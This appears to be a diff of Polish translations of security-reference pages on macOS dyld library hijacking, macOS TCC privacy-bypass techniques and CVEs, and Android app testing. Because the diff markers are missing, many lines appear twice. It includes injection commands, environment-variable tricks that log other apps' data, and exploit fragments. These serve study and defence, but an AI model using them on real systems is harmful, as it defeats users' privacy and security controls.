> - Jeśli proces jest **nieograniczony**, nadużywając **względnej ścieżki z CWD** i wymienionych zmiennych środowiskowych (nawet jeśli nie jest to powiedziane w dokumentacji, jeśli proces jest ograniczony, zmienne środowiskowe DYLD\_\* są usuwane)
- Gdy ścieżka **zawiera ukośnik, ale nie jest ścieżką frameworku** (tj. pełna ścieżka lub częściowa ścieżka do dylibu), dlopen() najpierw sprawdza (jeśli ustawione) w **`$DYLD_LIBRARY_PATH`** (z częścią liścia z ścieżki). Następnie dyld **próbuje podanej ścieżki** (używając bieżącego katalogu roboczego dla ścieżek względnych (ale tylko dla nieograniczonych procesów)). Na koniec, dla starszych binarek, dyld spróbuje kilku alternatyw. Jeśli **`$DYLD_FALLBACK_LIBRARY_PATH`** został ustawiony przy uruchomieniu, dyld będzie szukać w tych katalogach, w przeciwnym razie dyld będzie szukać w **`/usr/local/lib/`** (jeśli proces jest nieograniczony), a następnie w **`/usr/lib/`**.
1. `$DYLD_LIBRARY_PATH`
2. podana ścieżka (używając bieżącego katalogu roboczego dla ścieżek względnych, jeśli nieograniczony)
2. podana ścieżka (używając bieżącego katalogu roboczego dla ścieżek względnych, jeśli nieograniczone)
3. `$DYLD_FALLBACK_LIBRARY_PATH`
4. `/usr/local/lib/` (jeśli nieograniczony)
4. `/usr/local/lib/` (jeśli nieograniczone)
5. `/usr/lib/`
> [!CAUTION]
> Jeśli w nazwie są ukośniki i nie jest to framework, sposób na przechwycenie byłby:
> Jeśli w nazwie są ukośniki i nie jest to framework, sposób na przechwycenie go byłby:
>
> - Jeśli binarka jest **nieograniczona**, a następnie możliwe jest załadowanie czegoś z CWD lub `/usr/local/lib` (lub nadużycie jednej z wymienionych zmiennych env)
> - Jeśli binarka jest **nieograniczona**, a następnie możliwe jest załadowanie czegoś z CWD lub `/usr/local/lib` (lub nadużycie jednej z wymienionych zmiennych środowiskowych)
> [!NOTE]
> Uwaga: Nie ma **plików konfiguracyjnych**, aby **kontrolować wyszukiwanie dlopen**.
@ -211,13 +211,13 @@ fprintf(stderr, "Error loading: %s\n\n\n", dlerror());
return 0;
}
```
Jeśli skompilujesz i uruchomisz, zobaczysz **gdzie każda biblioteka była nieskutecznie poszukiwana**. Możesz również **filtrować logi FS**:
Jeśli skompilujesz i uruchomisz, zobaczysz **gdzie każda biblioteka była bezskutecznie poszukiwana**. Możesz również **filtrować logi FS**:
```bash
sudo fs_usage | grep "dlopentest"
```
## Relative Path Hijacking
Jeśli **uprzywilejowany binarny/aplikacja** (jak SUID lub inny binarny z potężnymi uprawnieniami) **ładował bibliotekę z relatywną ścieżką** (na przykład używając `@executable_path` lub `@loader_path`) i ma **wyłączoną walidację bibliotek**, możliwe jest przeniesienie binarnego do lokalizacji, w której atakujący mógłby **zmodyfikować ładowaną bibliotekę z relatywną ścieżką**, i wykorzystać to do wstrzyknięcia kodu do procesu.
Jeśli **uprzywilejowany binarny/aplikacja** (jak SUID lub inny binarny z potężnymi uprawnieniami) **ładował bibliotekę z relatywnej ścieżki** (na przykład używając `@executable_path` lub `@loader_path`) i ma **wyłączoną walidację bibliotek**, możliwe jest przeniesienie binarnego do lokalizacji, w której atakujący mógłby **zmodyfikować ładowaną bibliotekę z relatywną ścieżką** i wykorzystać to do wstrzyknięcia kodu do procesu.
## Prune `DYLD_*` and `LD_LIBRARY_PATH` env variables
@ -231,7 +231,7 @@ Funkcja ta jest wywoływana z funkcji **`_main`** tego samego pliku, jeśli celu
if ( !gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache ) {
pruneEnvironmentVariables(envp, &apple);
```
i te flagi boolean są ustawione w tym samym pliku w kodzie:
i te flagi boolowskie są ustawione w tym samym pliku w kodzie:
```cpp
#if TARGET_OS_OSX
// support chrooting from old kernel
@ -262,13 +262,13 @@ gLinkContext.allowClassicFallbackPaths = !isRestricted;
gLinkContext.allowInsertFailures = false;
gLinkContext.allowInterposing = true;
```
Co zasadniczo oznacza, że jeśli binarka jest **suid** lub **sgid**, lub ma segment **RESTRICT** w nagłówkach, lub została podpisana flagą **CS_RESTRICT**, to **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** jest prawdziwe, a zmienne środowiskowe są usuwane.
Co to zasadniczo oznacza, że jeśli binarka jest **suid** lub **sgid**, lub ma segment **RESTRICT** w nagłówkach, lub została podpisana flagą **CS_RESTRICT**, to **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** jest prawdziwe, a zmienne środowiskowe są usuwane.
Zauważ, że jeśli CS_REQUIRE_LV jest prawdziwe, to zmienne nie będą usuwane, ale walidacja biblioteki sprawdzi, czy używają tego samego certyfikatu co oryginalna binarka.
## Sprawdź Ograniczenia
## Sprawdź ograniczenia
### SUID & SGID
### SUID i SGID
```bash
# Make it owned by root and suid
sudo chown root hello
@ -306,10 +306,10 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed
codesign -f -s <cert-name> --option=restrict hello-signed
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
```
> [!OSTRZEŻENIE]
> [!CAUTION]
> Zauważ, że nawet jeśli istnieją binaria podpisane flagami **`0x0(none)`**, mogą one dynamicznie uzyskać flagę **`CS_RESTRICT`** podczas wykonywania, a zatem ta technika nie zadziała w ich przypadku.
>
> Możesz sprawdzić, czy proces ma tę flagę za pomocą (pobierz [**csops tutaj**](https://github.com/axelexic/CSOps)):
> Możesz sprawdzić, czy proces ma tę flagę za pomocą (sprawdź [**csops tutaj**](https://github.com/axelexic/CSOps)):
>
> ```bash
> csops -status <pid>
@ -317,7 +317,7 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
>
> a następnie sprawdzić, czy flaga 0x800 jest włączona.
## Odniesienia
## References
- [https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/](https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/)
- [**\*OS Internals, Volume I: User Mode. By Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)

View File

@ -6,7 +6,7 @@
### Bypass zapisu
To nie jest bypass, to po prostu sposób działania TCC: **Nie chroni przed zapisem**. Jeśli Terminal **nie ma dostępu do odczytu pulpitu użytkownika, nadal może do niego zapisywać**:
To nie jest bypass, to po prostu sposób, w jaki działa TCC: **Nie chroni przed zapisem**. Jeśli Terminal **nie ma dostępu do odczytu pulpitu użytkownika, nadal może do niego zapisywać**:
```shell-session
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
@ -26,7 +26,7 @@ Możliwe jest **umieszczenie okna nad monitorem TCC**, aby użytkownik **zaakcep
### Żądanie TCC przez dowolną nazwę
Atakujący może **tworzyć aplikacje z dowolną nazwą** (np. Finder, Google Chrome...) w **`Info.plist`** i sprawić, aby żądała dostępu do chronionej lokalizacji TCC. Użytkownik pomyśli, że to legalna aplikacja żąda tego dostępu.\
Atakujący może **tworzyć aplikacje o dowolnej nazwie** (np. Finder, Google Chrome...) w **`Info.plist`** i sprawić, że będą żądać dostępu do niektórej chronionej lokalizacji TCC. Użytkownik pomyśli, że to legalna aplikacja żąda tego dostępu.\
Co więcej, możliwe jest **usunięcie legalnej aplikacji z Docka i umieszczenie na nim fałszywej**, więc gdy użytkownik kliknie na fałszywą (która może używać tego samego ikony), może wywołać legalną, poprosić o uprawnienia TCC i uruchomić złośliwe oprogramowanie, sprawiając, że użytkownik uwierzy, że to legalna aplikacja żądała dostępu.
<figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure>
@ -43,7 +43,7 @@ Domyślnie dostęp przez **SSH miał "Pełny dostęp do dysku"**. Aby to wyłąc
![](<../../../../../images/image (1077).png>)
Tutaj możesz znaleźć przykłady, jak niektóre **złośliwe oprogramowania mogły obejść tę ochronę**:
Tutaj możesz znaleźć przykłady, jak niektóre **złośliwe oprogramowania były w stanie obejść tę ochronę**:
- [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/)
@ -62,7 +62,7 @@ Uprawnienie **`com.apple.private.icloud-account-access`** umożliwia komunikacj
**iMovie** i **Garageband** miały to uprawnienie i inne, które to umożliwiały.
Aby uzyskać więcej **informacji** na temat eksploitu w celu **uzyskania tokenów iCloud** z tego uprawnienia, sprawdź wykład: [**#OBTS v5.0: "Co się dzieje na twoim Macu, zostaje na iCloud Apple'a?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
Aby uzyskać więcej **informacji** na temat eksploitu w celu **uzyskania tokenów iCloud** z tego uprawnienia, sprawdź wykład: [**#OBTS v5.0: "Co się dzieje na twoim Macu, zostaje na iCloud Apple?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
### kTCCServiceAppleEvents / Automatyzacja
@ -153,27 +153,27 @@ Notatki miały dostęp do lokalizacji chronionych przez TCC, ale gdy notatka jes
Binarne `/usr/libexec/lsd` z biblioteką `libsecurity_translocate` miało uprawnienie `com.apple.private.nullfs_allow`, co pozwalało na utworzenie **nullfs** montażu i miało uprawnienie `com.apple.private.tcc.allow` z **`kTCCServiceSystemPolicyAllFiles`**, aby uzyskać dostęp do każdego pliku.
Można było dodać atrybut kwarantanny do "Biblioteki", wywołać usługę XPC **`com.apple.security.translocation`**, a następnie mapować Bibliotekę do **`$TMPDIR/AppTranslocation/d/d/Library`**, gdzie wszystkie dokumenty w Bibliotece mogły być **dostępne**.
Można było dodać atrybut kwarantanny do "Library", wywołać usługę XPC **`com.apple.security.translocation`**, a następnie mapować Library na **`$TMPDIR/AppTranslocation/d/d/Library`**, gdzie wszystkie dokumenty w Library mogły być **dostępne**.
### CVE-2023-38571 - Muzyka i TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
**`Muzyka`** ma interesującą funkcję: Gdy jest uruchomiona, **importuje** pliki wrzucone do **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** do "biblioteki multimedialnej" użytkownika. Ponadto wywołuje coś w rodzaju: **`rename(a, b);`**, gdzie `a` i `b` to:
**`Muzyka`** ma interesującą funkcję: Gdy jest uruchomiona, **importuje** pliki wrzucone do **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** do "biblioteki multimedialnej" użytkownika. Ponadto wywołuje coś w stylu: **`rename(a, b);`**, gdzie `a` i `b` to:
- `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3"`
- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
To **`rename(a, b);`** zachowanie jest podatne na **Race Condition**, ponieważ możliwe jest umieszczenie w folderze `Automatically Add to Music.localized` fałszywego pliku **TCC.db**, a następnie, gdy nowy folder (b) jest tworzony, skopiowanie pliku, usunięcie go i skierowanie go do **`~/Library/Application Support/com.apple.TCC`**/.
### SQLITE_SQLLOG_DIR - CVE-2023-32422
Jeśli **`SQLITE_SQLLOG_DIR="path/folder"`**, oznacza to zasadniczo, że **każda otwarta baza danych jest kopiowana do tej ścieżki**. W tym CVE kontrola ta została nadużyta do **zapisu** wewnątrz **bazy danych SQLite**, która ma być **otwarta przez proces z FDA bazą danych TCC**, a następnie nadużycie **`SQLITE_SQLLOG_DIR`** z **symlinkiem w nazwie pliku**, tak że gdy ta baza danych jest **otwarta**, użytkownik **TCC.db jest nadpisywany** otwartą.\
**Więcej informacji** [**w opisie**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **i**[ **w prezentacji**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s).
**Więcej informacji** [**w opisie**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **i** [**w prezentacji**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s).
### **SQLITE_AUTO_TRACE**
Jeśli zmienna środowiskowa **`SQLITE_AUTO_TRACE`** jest ustawiona, biblioteka **`libsqlite3.dylib`** zacznie **rejestrować** wszystkie zapytania SQL. Wiele aplikacji korzystało z tej biblioteki, więc możliwe było rejestrowanie wszystkich ich zapytań SQLite.
Jeśli zmienna środowiskowa **`SQLITE_AUTO_TRACE`** jest ustawiona, biblioteka **`libsqlite3.dylib`** zacznie **rejestrować** wszystkie zapytania SQL. Wiele aplikacji używało tej biblioteki, więc możliwe było rejestrowanie wszystkich ich zapytań SQLite.
Kilka aplikacji Apple korzystało z tej biblioteki, aby uzyskać dostęp do informacji chronionych przez TCC.
Kilka aplikacji Apple używało tej biblioteki do uzyskiwania dostępu do informacji chronionych przez TCC.
```bash
# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1
@ -184,16 +184,16 @@ Ta **zmienna środowiskowa jest używana przez framework `Metal`**, który jest
Ustawiając następujące: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`. Jeśli `path` jest ważnym katalogiem, błąd zostanie wywołany i możemy użyć `fs_usage`, aby zobaczyć, co się dzieje w programie:
- plik zostanie `open()`ed, nazwany `path/.dat.nosyncXXXX.XXXXXX` (X jest losowe)
- jeden lub więcej `write()` zapisze zawartość do pliku (nie kontrolujemy tego)
- `path/.dat.nosyncXXXX.XXXXXX` zostanie `renamed()`d na `path/name`
- plik zostanie `open()`owany, nazywając go `path/.dat.nosyncXXXX.XXXXXX` (X jest losowe)
- jedno lub więcej `write()` zapisze zawartość do pliku (nie kontrolujemy tego)
- `path/.dat.nosyncXXXX.XXXXXX` zostanie `renamed()` do `path/name`
To jest tymczasowe zapisanie pliku, po którym następuje **`rename(old, new)`**, **co nie jest bezpieczne.**
Nie jest to bezpieczne, ponieważ musi **rozwiązać stare i nowe ścieżki osobno**, co może zająć trochę czasu i może być podatne na warunki wyścigu. Więcej informacji można znaleźć w funkcji `xnu` `renameat_internal()`.
Nie jest to bezpieczne, ponieważ musi **rozwiązać stare i nowe ścieżki osobno**, co może zająć trochę czasu i może być podatne na warunki wyścigu. Więcej informacji można znaleźć w funkcji `renameat_internal()` w `xnu`.
> [!CAUTION]
> Więc, zasadniczo, jeśli proces z uprawnieniami zmienia nazwę z folderu, który kontrolujesz, możesz uzyskać RCE i sprawić, że uzyska dostęp do innego pliku lub, jak w tym CVE, otworzyć plik, który utworzył aplikacja z uprawnieniami i przechować FD.
> Więc, zasadniczo, jeśli proces z uprawnieniami zmienia nazwę z folderu, który kontrolujesz, możesz uzyskać RCE i sprawić, że uzyska dostęp do innego pliku lub, jak w tym CVE, otworzyć plik utworzony przez aplikację z uprawnieniami i przechować FD.
>
> Jeśli zmiana nazwy uzyskuje dostęp do folderu, który kontrolujesz, podczas gdy zmodyfikowałeś plik źródłowy lub masz do niego FD, zmieniasz plik docelowy (lub folder), aby wskazywał na symlink, więc możesz pisać, kiedy chcesz.
@ -211,14 +211,14 @@ To był atak w tym CVE: Na przykład, aby nadpisać `TCC.db` użytkownika, może
- sprawdzić, czy mieliśmy szczęście
- jeśli nie, uruchomić ponownie od początku
Więcej informacji w [https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)
Więcej informacji na [https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)
> [!CAUTION]
> Teraz, jeśli spróbujesz użyć zmiennej środowiskowej `MTL_DUMP_PIPELINES_TO_JSON_FILE`, aplikacje nie uruchomią się
### Apple Remote Desktop
Jako root możesz włączyć tę usługę, a **agent ARD będzie miał pełny dostęp do dysku**, co może być nadużywane przez użytkownika, aby skopiować nową **bazę danych użytkowników TCC**.
Jako root możesz włączyć tę usługę, a **agent ARD będzie miał pełny dostęp do dysku**, co może być nadużywane przez użytkownika do skopiowania nowej **bazy danych użytkowników TCC**.
## Przez **NFSHomeDirectory**
@ -228,9 +228,9 @@ Dlatego, jeśli użytkownik zdoła ponownie uruchomić TCC z zmienną środowisk
> [!TIP]
> Zauważ, że Apple używa ustawienia przechowywanego w profilu użytkownika w atrybucie **`NFSHomeDirectory`** dla **wartości `$HOME`**, więc jeśli skompromitujesz aplikację z uprawnieniami do modyfikacji tej wartości (**`kTCCServiceSystemPolicySysAdminFiles`**), możesz **uzbroić** tę opcję z obejściem TCC.
### [CVE-20209934 - TCC](./#c19b) <a href="#c19b" id="c19b"></a>
### [CVE-20209934 - TCC](#c19b) <a href="#c19b" id="c19b"></a>
### [CVE-2020-27937 - Directory Utility](./#cve-2020-27937-directory-utility-1)
### [CVE-2020-27937 - Directory Utility](#cve-2020-27937-directory-utility-1)
### CVE-2021-30970 - Powerdir
@ -256,8 +256,8 @@ Istnieją różne techniki wstrzykiwania kodu do procesu i nadużywania jego upr
../../../macos-proces-abuse/
{{#endref}}
Ponadto najczęstszym wstrzyknięciem procesu, aby obejść TCC, są **pluginy (ładuj bibliotekę)**.\
Pluginy to dodatkowy kod, zazwyczaj w formie bibliotek lub plist, które będą **ładowane przez główną aplikację** i będą wykonywane w jej kontekście. Dlatego, jeśli główna aplikacja miała dostęp do plików ograniczonych przez TCC (poprzez przyznane uprawnienia lub uprawnienia), **niestandardowy kod również je będzie miał**.
Co więcej, najczęstszym wstrzyknięciem procesu, aby obejść TCC, jest przez **pluginy (ładuj bibliotekę)**.\
Pluginy to dodatkowy kod, zazwyczaj w formie bibliotek lub plist, który będzie **ładowany przez główną aplikację** i będzie wykonywany w jej kontekście. Dlatego, jeśli główna aplikacja miała dostęp do plików ograniczonych przez TCC (poprzez przyznane uprawnienia lub uprawnienia), **niestandardowy kod również je będzie miał**.
### CVE-2020-27937 - Directory Utility
@ -298,19 +298,19 @@ add_tcc_entry();
NSLog(@"[+] Exploitation finished...");
exit(0);
```
Dla uzyskania dodatkowych informacji sprawdź [**oryginalny raport**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/).
For more info check the [**original report**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/).
### Wtyczki warstwy abstrakcji urządzeń (DAL)
### Device Abstraction Layer (DAL) Plug-Ins
Aplikacje systemowe, które otwierają strumień kamery za pomocą Core Media I/O (aplikacje z **`kTCCServiceCamera`**) ładują **w procesie te wtyczki** znajdujące się w `/Library/CoreMediaIO/Plug-Ins/DAL` (nie są ograniczone przez SIP).
Aplikacje systemowe, które otwierają strumień kamery za pomocą Core Media I/O (aplikacje z **`kTCCServiceCamera`**), ładują **w procesie te wtyczki** znajdujące się w `/Library/CoreMediaIO/Plug-Ins/DAL` (nie są ograniczone przez SIP).
Samo przechowywanie tam biblioteki z wspólnym **konstruktorem** wystarczy, aby **wstrzyknąć kod**.
Wystarczy umieścić tam bibliotekę z wspólnym **konstruktorem**, aby **wstrzyknąć kod**.
Kilka aplikacji Apple było na to podatnych.
### Firefox
Aplikacja Firefox miała uprawnienia `com.apple.security.cs.disable-library-validation` oraz `com.apple.security.cs.allow-dyld-environment-variables`:
Aplikacja Firefox miała uprawnienia `com.apple.security.cs.disable-library-validation` i `com.apple.security.cs.allow-dyld-environment-variables`:
```xml
codesign -d --entitlements :- /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox
@ -378,11 +378,11 @@ launchctl load com.telegram.launcher.plist
```
## Poprzez otwarte wywołania
Możliwe jest wywołanie **`open`** nawet w trybie piaskownicy
Możliwe jest wywołanie **`open`** nawet w trybie sandbox.
### Skrypty terminala
Jest to dość powszechne, aby przyznać terminalowi **Pełny dostęp do dysku (FDA)**, przynajmniej w komputerach używanych przez osoby techniczne. I możliwe jest wywołanie skryptów **`.terminal`** z jego użyciem.
Jest to dość powszechne, aby przyznać terminalowi **Full Disk Access (FDA)**, przynajmniej w komputerach używanych przez osoby techniczne. I możliwe jest wywołanie skryptów **`.terminal`** z jego użyciem.
Skrypty **`.terminal`** to pliki plist, takie jak ten, z poleceniem do wykonania w kluczu **`CommandString`**:
```xml
@ -417,8 +417,8 @@ exploit_location]; task.standardOutput = pipe;
### CVE-2020-9771 - obejście TCC mount_apfs i eskalacja uprawnień
**Każdy użytkownik** (nawet nieuprzywilejowany) może utworzyć i zamontować migawkę Time Machine oraz **uzyskać dostęp do WSZYSTKICH plików** tej migawki.\
**Jedynym wymaganym** uprawnieniem jest to, aby aplikacja używana (jak `Terminal`) miała **Pełny dostęp do dysku** (FDA) (`kTCCServiceSystemPolicyAllfiles`), co musi być przyznane przez administratora.
**Każdy użytkownik** (nawet bez uprawnień) może utworzyć i zamontować migawkę Time Machine oraz **uzyskać dostęp do WSZYSTKICH plików** tej migawki.\
**Jedynym wymaganym uprawnieniem** jest to, aby aplikacja używana (taka jak `Terminal`) miała dostęp **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`), co musi być przyznane przez administratora.
```bash
# Create snapshot
tmutil localsnapshot
@ -482,7 +482,7 @@ Narzędzie **`/usr/sbin/asr`** pozwalało na skopiowanie całego dysku i zamonto
Istnieje trzecia baza danych TCC w **`/var/db/locationd/clients.plist`**, aby wskazać klientów, którzy mają **dostęp do usług lokalizacyjnych**.\
Folder **`/var/db/locationd/` nie był chroniony przed montowaniem DMG**, więc możliwe było zamontowanie naszego własnego plist.
## Poprzez aplikacje uruchamiane przy starcie
## Poprzez aplikacje uruchamiające
{{#ref}}
../../../../macos-auto-start-locations.md
@ -500,15 +500,15 @@ To już nie działa, ale [**działało w przeszłości**](https://twitter.com/no
<figure><img src="../../../../../images/image (29).png" alt=""><figcaption></figcaption></figure>
Inny sposób wykorzystujący [**zdarzenia CoreGraphics**](https://objectivebythesea.org/v2/talks/OBTS_v2_Wardle.pdf):
Inny sposób używając [**zdarzeń CoreGraphics**](https://objectivebythesea.org/v2/talks/OBTS_v2_Wardle.pdf):
<figure><img src="../../../../../images/image (30).png" alt="" width="563"><figcaption></figcaption></figure>
## Referencje
## Odniesienia
- [**https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8**](https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8)
- [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
- [**20+ Sposobów na Ominięcie Mechanizmów Prywatności macOS**](https://www.youtube.com/watch?v=W9GxnP8c8FU)
- [**Knockout Win Against TCC - 20+ NOWYCH Sposobów na Ominięcie Mechanizmów Prywatności macOS**](https://www.youtube.com/watch?v=a9hsxPdRxsY)
- [**20+ Ways to Bypass Your macOS Privacy Mechanisms**](https://www.youtube.com/watch?v=W9GxnP8c8FU)
- [**Knockout Win Against TCC - 20+ NEW Ways to Bypass Your MacOS Privacy Mechanisms**](https://www.youtube.com/watch?v=a9hsxPdRxsY)
{{#include ../../../../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Podstawy aplikacji na Androida
Zaleca się rozpoczęcie od przeczytania tej strony, aby poznać **najważniejsze części związane z bezpieczeństwem Androida oraz najbardziej niebezpieczne komponenty w aplikacji na Androida**:
Zaleca się rozpoczęcie od przeczytania tej strony, aby poznać **najważniejsze aspekty związane z bezpieczeństwem Androida oraz najbardziej niebezpieczne komponenty w aplikacji na Androida**:
{{#ref}}
android-applications-basics.md
@ -13,18 +13,18 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
To główne narzędzie, którego potrzebujesz, aby połączyć się z urządzeniem z Androidem (emulowanym lub fizycznym).\
**ADB** umożliwia kontrolowanie urządzeń zarówno przez **USB**, jak i **sieć** z komputera. To narzędzie pozwala na **kopiowanie** plików w obie strony, **instalację** i **odinstalowanie** aplikacji, **wykonywanie** poleceń powłoki, **tworzenie kopii zapasowych** danych, **odczytywanie** logów, wśród innych funkcji.
**ADB** umożliwia kontrolowanie urządzeń zarówno przez **USB**, jak i **sieć** z komputera. To narzędzie pozwala na **kopiowanie** plików w obie strony, **instalację** i **odinstalację** aplikacji, **wykonywanie** poleceń powłoki, **tworzenie kopii zapasowych** danych, **odczytywanie** logów, wśród innych funkcji.
Zobacz poniższą listę [**poleceń ADB**](adb-commands.md), aby dowiedzieć się, jak używać adb.
Zobacz poniższą listę [**Poleceń ADB**](adb-commands.md), aby dowiedzieć się, jak używać adb.
## Smali
Czasami interesujące jest **modyfikowanie kodu aplikacji**, aby uzyskać dostęp do **ukrytych informacji** (może dobrze zafałszowanych haseł lub flag). Wtedy może być interesujące dekompilowanie apk, modyfikowanie kodu i ponowne kompilowanie go.\
Czasami interesujące jest **modyfikowanie kodu aplikacji**, aby uzyskać dostęp do **ukrytych informacji** (może dobrze obfuskowanych haseł lub flag). Wtedy może być interesujące dekompilowanie apk, modyfikowanie kodu i ponowne kompilowanie go.\
[**W tym samouczku** możesz **nauczyć się, jak dekompilować APK, modyfikować kod Smali i ponownie kompilować APK** z nową funkcjonalnością](smali-changes.md). Może to być bardzo przydatne jako **alternatywa dla kilku testów podczas analizy dynamicznej**, które będą przedstawione. Dlatego **zawsze miej na uwadze tę możliwość**.
## Inne interesujące triki
- [Podrabianie swojej lokalizacji w Sklepie Play](spoofing-your-location-in-play-store.md)
- [Podrabianie lokalizacji w Sklepie Play](spoofing-your-location-in-play-store.md)
- **Pobieranie APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Ekstrakcja APK z urządzenia:
```bash
@ -52,7 +52,7 @@ Proszę, [**przeczytaj tutaj, aby znaleźć informacje o różnych dostępnych d
### Szukanie interesujących informacji
Samo rzucenie okiem na **ciągi** APK pozwala na poszukiwanie **haseł**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **kluczy** **api**, **szyfrowania**, **uuid bluetooth**, **tokenów** i wszystkiego, co może być interesujące... szukaj nawet **tylnych drzwi** do wykonania kodu lub tylnych drzwi autoryzacyjnych (twardo zakodowane dane logowania administratora do aplikacji).
Samo spojrzenie na **ciągi** w APK pozwala na wyszukiwanie **haseł**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **kluczy** **api**, **szyfrowania**, **uuid bluetooth**, **tokenów** i wszystkiego, co może być interesujące... szukaj nawet **tylnych drzwi** do wykonania kodu lub tylnych drzwi autoryzacyjnych (twardo zakodowane dane logowania administratora do aplikacji).
**Firebase**
@ -60,26 +60,26 @@ Zwróć szczególną uwagę na **adresy URL Firebase** i sprawdź, czy są źle
### Podstawowe zrozumienie aplikacji - Manifest.xml, strings.xml
**Badanie plików \_Manifest.xml**_\*\* i \*\*_**strings.xml**\_\*\* aplikacji może ujawnić potencjalne luki w zabezpieczeniach\*\*. Pliki te można uzyskać za pomocą dekompilatorów lub przez zmianę rozszerzenia pliku APK na .zip, a następnie rozpakowanie go.
**Badanie plików \_Manifest.xml**_\*\* i \*\*_**strings.xml**\_\*\* może ujawnić potencjalne luki w zabezpieczeniach\*\*. Pliki te można uzyskać za pomocą dekompilatorów lub przez zmianę rozszerzenia pliku APK na .zip, a następnie rozpakowanie go.
**Luki** zidentyfikowane w **Manifest.xml** obejmują:
- **Aplikacje do debugowania**: Aplikacje ustawione jako debugowalne (`debuggable="true"`) w pliku _Manifest.xml_ stanowią ryzyko, ponieważ pozwalają na połączenia, które mogą prowadzić do wykorzystania. Aby lepiej zrozumieć, jak wykorzystać aplikacje do debugowania, zapoznaj się z samouczkiem na temat znajdowania i wykorzystywania aplikacji do debugowania na urządzeniu.
- **Aplikacje debugowalne**: Aplikacje ustawione jako debugowalne (`debuggable="true"`) w pliku _Manifest.xml_ stanowią ryzyko, ponieważ pozwalają na połączenia, które mogą prowadzić do wykorzystania. Aby uzyskać dalsze zrozumienie, jak wykorzystać aplikacje debugowalne, zapoznaj się z samouczkiem na temat znajdowania i wykorzystywania aplikacji debugowalnych na urządzeniu.
- **Ustawienia kopii zapasowej**: Atrybut `android:allowBackup="false"` powinien być wyraźnie ustawiony dla aplikacji zajmujących się wrażliwymi informacjami, aby zapobiec nieautoryzowanym kopiom zapasowym danych za pomocą adb, szczególnie gdy debugowanie USB jest włączone.
- **Bezpieczeństwo sieci**: Niestandardowe konfiguracje bezpieczeństwa sieci (`android:networkSecurityConfig="@xml/network_security_config"`) w _res/xml/_ mogą określać szczegóły bezpieczeństwa, takie jak przypinanie certyfikatów i ustawienia ruchu HTTP. Przykładem jest zezwolenie na ruch HTTP dla określonych domen.
